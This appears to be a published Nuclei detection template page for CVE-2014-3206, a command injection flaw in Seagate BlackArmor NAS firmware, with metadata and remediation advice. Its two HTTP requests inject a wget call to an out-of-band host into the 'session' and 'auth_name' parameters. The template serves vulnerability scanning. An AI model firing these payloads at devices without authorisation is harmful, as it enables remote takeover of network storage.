Seagate BlackArmor NAS - Command Injection

ID: CVE-2014-3206

Severity: critical

Author: gy741

Tags: cve2014,cve,seagate,rce,edb

Description

Seagate BlackArmor NAS allows remote attackers to execute arbitrary code via the session parameter to localhost/backupmgt/localJob.php or the auth_name parameter to localhost/backupmgmt/pre_connect_check.php.

YAML Source

id: CVE-2014-3206

info:
  name: Seagate BlackArmor NAS - Command Injection
  author: gy741
  severity: critical
  description: Seagate BlackArmor NAS allows remote attackers to execute arbitrary code via the session parameter to localhost/backupmgt/localJob.php or the auth_name parameter to localhost/backupmgmt/pre_connect_check.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with the privileges of the affected device, potentially leading to unauthorized access, data loss, or further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by Seagate to patch the command injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3206
    - https://www.exploit-db.com/exploits/33159
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-3206
    cwe-id: CWE-20
    epss-score: 0.2561
    epss-percentile: 0.96696
    cpe: cpe:2.3:o:seagate:blackarmor_nas_220_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: seagate
    product: blackarmor_nas_220_firmware
  tags: cve2014,cve,seagate,rce,edb

http:
  - raw:
      - |
        GET /backupmgt/localJob.php?session=fail;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4b0a004830460221008a780ff6bf258452589bb8b733227d3d68b68e888b5866b427e89db88fde54b0022100d1414818dac3e4a4ca015cba97ce5e564ad993fe569c3670bfa75fb13b23ddb6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-3206.yaml"

View on Github